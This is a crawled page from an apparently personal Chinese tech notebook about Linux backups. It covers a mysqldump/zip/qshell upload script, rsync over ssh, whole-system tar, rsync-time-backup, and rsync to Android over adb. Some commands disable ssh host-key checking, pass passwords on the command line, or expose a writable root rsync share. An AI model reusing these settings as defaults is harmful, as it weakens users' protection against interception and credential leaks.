class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Linux-backup\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Linux-backup\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#demo\" class=\"md-nav__link\">\n    Demo\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rsyncscp\" class=\"md-nav__link\">\n    用rsync代替scp\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#tar\" class=\"md-nav__link\">\n    tar备份整个系统\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rsynctime-machine\" class=\"md-nav__link\">\n    使用rsync像time machine一样全盘备份\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用rsync像time machine一样全盘备份\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#rsyncroot\" class=\"md-nav__link\">\n    rsync备份到非root用户的目标机器上\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rsync\" class=\"md-nav__link\">\n    rsync备份安卓手机\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#demo\" class=\"md-nav__link\">\n    Demo\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rsyncscp\" class=\"md-nav__link\">\n    用rsync代替scp\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#tar\" class=\"md-nav__link\">\n    tar备份整个系统\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rsynctime-machine\" class=\"md-nav__link\">\n    使用rsync像time machine一样全盘备份\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用rsync像time machine一样全盘备份\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#rsyncroot\" class=\"md-nav__link\">\n    rsync备份到非root用户的目标机器上\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rsync\" class=\"md-nav__link\">\n    rsync备份安卓手机\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"_1\">备份 备份 备份！<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h1>\n<p>一个良好安全的备份计划至关重要，备份脚本应该导出数据库、压缩日志和动态产生的数据文件，加密后上传至其他服务器或CDN</p>\n<hr />\n<h2 id=\"demo\">Demo<a class=\"headerlink\" href=\"#demo\" title=\"Permanent link\">&para;</a></h2>\n<p>下面的例子涉及到date、docker、tar、zip、七牛qshell命令的使用</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"c1\"># !/bin/bash</span>\n<span class=\"nb\">pushd</span><span class=\"w\"> </span>工作目录\n<span class=\"nv\">d</span><span class=\"o\">=</span><span class=\"sb\">`</span>date<span class=\"w\"> </span>+%Y%m%d<span class=\"sb\">`</span>\nmkdir<span class=\"w\"> </span>bakup<span class=\"nv\">$d</span>\n<span class=\"nb\">cd</span><span class=\"w\"> </span>bakup<span class=\"nv\">$d</span>\n<span class=\"o\">(</span>docker<span class=\"w\"> </span><span class=\"nb\">exec</span><span class=\"w\"> </span>容器名称<span class=\"w\"> </span>mysqldump<span class=\"w\"> </span>-p密码<span class=\"w\"> </span>数据库名称<span class=\"o\">)</span><span class=\"w\"> </span>&gt;database.sql\ntar<span class=\"w\"> </span>cvzf<span class=\"w\"> </span>log.tar.gz<span class=\"w\"> </span>../log<span class=\"w\"> </span><span class=\"c1\"># 压缩log目录</span>\n<span class=\"nb\">cd</span><span class=\"w\"> </span>../\n<span class=\"c1\"># 使用zip加密压缩，压缩后删除原文件</span>\nzip<span class=\"w\"> </span>-r<span class=\"w\"> </span>-P<span class=\"w\"> </span>压缩密码<span class=\"w\"> </span>-m<span class=\"w\"> </span>bakup<span class=\"nv\">$d</span>.zip<span class=\"w\"> </span>bakup<span class=\"nv\">$d</span>/\n<span class=\"c1\"># 使用七牛的qshell上传备份文件，运行前需要配置账号qshell account 你的AK 你的SK</span>\n<span class=\"c1\"># 下面这条命令表示将bakup$d.zip上传，CDN上存储的文件名为$d.zip</span>\n./qshell<span class=\"w\"> </span>fput<span class=\"w\"> </span>你的bucket的名称<span class=\"w\"> </span><span class=\"nv\">$d</span>.zip<span class=\"w\"> </span>bakup<span class=\"nv\">$d</span>.zip\n<span class=\"c1\"># 如果你放心可以本地彻底删掉备份文件：</span>\n<span class=\"c1\"># rm -r bakup$d.zip</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"rsyncscp\">用rsync代替scp<a class=\"headerlink\" href=\"#rsyncscp\" title=\"Permanent link\">&para;</a></h2>\n<p>rsync可以断点续传，不如就用rsync代替scp</p>\n<p>参考：<a href=\"https://www.digitalocean.com/community/tutorials/how-to-copy-files-with-rsync-over-ssh\">https://www.digitalocean.com/community/tutorials/how-to-copy-files-with-rsync-over-ssh</a></p>\n<p>首先需要ssh-keygen生成id_rsa,把id_rsa.pub的内容复制到目标机器的~/.ssh/authorized_keys</p>\n<p>在需要使用scp -r的地方改为rsync -avz -e &ldquo;ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null&rdquo; &ndash;progress</p>\n<hr />\n<h2 id=\"tar\">tar备份整个系统<a class=\"headerlink\" href=\"#tar\" title=\"Permanent link\">&para;</a></h2>\n<p>比如通过远程ssh的方式下载到服务器的整个根目录打包：</p>\n<div class=\"codehilite\"><pre><span></span><code>ssh server tar -cvpz --one-file-system / &gt; server_backup.tar.gz\n</code></pre></div>\n\n<p>其中：</p>\n<ul>\n<li>c 创建</li>\n<li>v 压缩时显示详情 当前处理的文件</li>\n<li>p preserve-permissions保留权限信息</li>\n<li>z 使用gzip压缩</li>\n</ul>\n<h2 id=\"rsynctime-machine\">使用rsync像time machine一样全盘备份<a class=\"headerlink\" href=\"#rsynctime-machine\" title=\"Permanent link\">&para;</a></h2>\n<p>https://github.com/laurent22/rsync-time-backup</p>\n<p>例如将Linux服务器多个硬盘所有文件备份到/nas/hostname下面</p>\n<p>先从github下载这个<a href=\"https://github.com/laurent22/rsync-time-backup/raw/master/rsync_tmbackup.sh\">rsync_tmbackup.sh</a>文件，删掉其中的<code>--one-file-system</code>，放入/nas目录</p>\n<p>将需要忽略的目录写成/nas/rsync_ignore.txt，例如：（注意忽略了/mnt）</p>\n<div class=\"codehilite\"><pre><span></span><code>- /boot\n- /dev\n- /lost+found\n- /media\n- /mnt\n- /nas\n- /nfs\n- /proc\n- /snap\n- /sys\n- /tmp\n</code></pre></div>\n\n<p>然后就执行呗：</p>\n<div class=\"codehilite\"><pre><span></span><code>mkdir -p /nas/hostname\ntouch /nas/hostname/backup.marker\n/nas/rsync_tmbackup.sh / /nas/hostname/ /nas/rsync_ignore.txt\n</code></pre></div>\n\n<p>好处是不用自己构造rsync各种复杂的参数，备份的效果是每次备份都会产生一个文件夹，但上次备份时已经存在的文件只会做硬链接</p>\n<h3 id=\"rsyncroot\">rsync备份到非root用户的目标机器上<a class=\"headerlink\" href=\"#rsyncroot\" title=\"Permanent link\">&para;</a></h3>\n<p>参考： https://serverfault.com/questions/755753/preserve-ownership-with-rsync-without-root</p>\n<p>全盘备份希望能保留文件的属性，如果目标位置没有root用户则不能直接保留，rsync提供了<code>--fake-super</code>这个选项</p>\n<p>这个<code>--fake-super</code>选项启用后，rsync会把属性以特殊拓展属性的方式存储，恢复的时候rsync会利用这个属性进行恢复</p>\n<h2 id=\"rsync\">rsync备份安卓手机<a class=\"headerlink\" href=\"#rsync\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： http://ptspts.blogspot.com/2015/03/how-to-use-rsync-over-adb-on-android.html</p>\n<p>首先保证手机的usb调试开启了，adb shell能进入手机，在Linux主机上执行：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">将rsync二进制发给手机</span>\n<span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">O</span><span class=\"w\"> </span><span class=\"n\">rsync</span><span class=\"p\">.</span><span class=\"n\">bin</span><span class=\"w\"> </span><span class=\"nl\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">github</span><span class=\"p\">.</span><span class=\"n\">com</span><span class=\"o\">/</span><span class=\"n\">pts</span><span class=\"o\">/</span><span class=\"n\">rsyncbin</span><span class=\"o\">/</span><span class=\"n\">raw</span><span class=\"o\">/</span><span class=\"n\">master</span><span class=\"o\">/</span><span class=\"n\">rsync</span><span class=\"p\">.</span><span class=\"n\">rsync4android</span>\n<span class=\"n\">adb</span><span class=\"w\"> </span><span class=\"n\">push</span><span class=\"w\"> </span><span class=\"n\">rsync</span><span class=\"p\">.</span><span class=\"n\">bin</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">data</span><span class=\"o\">/</span><span class=\"k\">local</span><span class=\"o\">/</span><span class=\"n\">tmp</span><span class=\"o\">/</span><span class=\"n\">rsync</span>\n<span class=\"n\">adb</span><span class=\"w\"> </span><span class=\"n\">shell</span><span class=\"w\"> </span><span class=\"n\">chmod</span><span class=\"w\"> </span><span class=\"mi\">755</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">data</span><span class=\"o\">/</span><span class=\"k\">local</span><span class=\"o\">/</span><span class=\"n\">tmp</span><span class=\"o\">/</span><span class=\"n\">rsync</span>\n<span class=\"n\">adb</span><span class=\"w\"> </span><span class=\"n\">shell</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">data</span><span class=\"o\">/</span><span class=\"k\">local</span><span class=\"o\">/</span><span class=\"n\">tmp</span><span class=\"o\">/</span><span class=\"n\">rsync</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">version</span>\n\n<span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">在安卓上启动rsync</span><span class=\"w\"> </span><span class=\"n\">server</span><span class=\"w\"> </span><span class=\"n\">监听在1873端口</span><span class=\"err\">，</span><span class=\"n\">转发到Linux的6010端口</span>\n<span class=\"n\">adb</span><span class=\"w\"> </span><span class=\"n\">shell</span><span class=\"w\"> </span><span class=\"s1\">&#39;exec &gt;/sdcard/rsyncd.conf &amp;&amp; echo address = 127.0.0.1 &amp;&amp; echo port = 1873 &amp;&amp; echo &quot;[root]&quot; &amp;&amp; echo path = / &amp;&amp; echo use chroot = false &amp;&amp; echo read only = false&#39;</span>\n<span class=\"n\">adb</span><span class=\"w\"> </span><span class=\"n\">shell</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">data</span><span class=\"o\">/</span><span class=\"k\">local</span><span class=\"o\">/</span><span class=\"n\">tmp</span><span class=\"o\">/</span><span class=\"n\">rsync</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">daemon</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"k\">no</span><span class=\"o\">-</span><span class=\"n\">detach</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">config</span><span class=\"o\">=/</span><span class=\"n\">sdcard</span><span class=\"o\">/</span><span class=\"n\">rsyncd</span><span class=\"p\">.</span><span class=\"n\">conf</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nf\">log</span><span class=\"o\">-</span><span class=\"k\">file</span><span class=\"o\">=/</span><span class=\"k\">proc</span><span class=\"o\">/</span><span class=\"n\">self</span><span class=\"o\">/</span><span class=\"n\">fd</span><span class=\"o\">/</span><span class=\"mi\">2</span>\n<span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">再启动一个终端继续</span>\n<span class=\"n\">adb</span><span class=\"w\"> </span><span class=\"n\">forward</span><span class=\"w\"> </span><span class=\"nl\">tcp</span><span class=\"p\">:</span><span class=\"mi\">6010</span><span class=\"w\"> </span><span class=\"nl\">tcp</span><span class=\"p\">:</span><span class=\"mi\">1873</span>\n\n<span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">复制整个</span><span class=\"o\">/</span><span class=\"n\">sdcard目录</span>\n<span class=\"n\">rsync</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">avzP</span><span class=\"w\"> </span><span class=\"c1\">--stats rsync://localhost:6010/root/sdcard/ .</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Linux-cli/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Linux-SSH/\">\n      \n      \n        <link rel=\"next\" href=\"../Linux-VirtualBox/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Linux-cli - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#linux\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Linux-cli\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    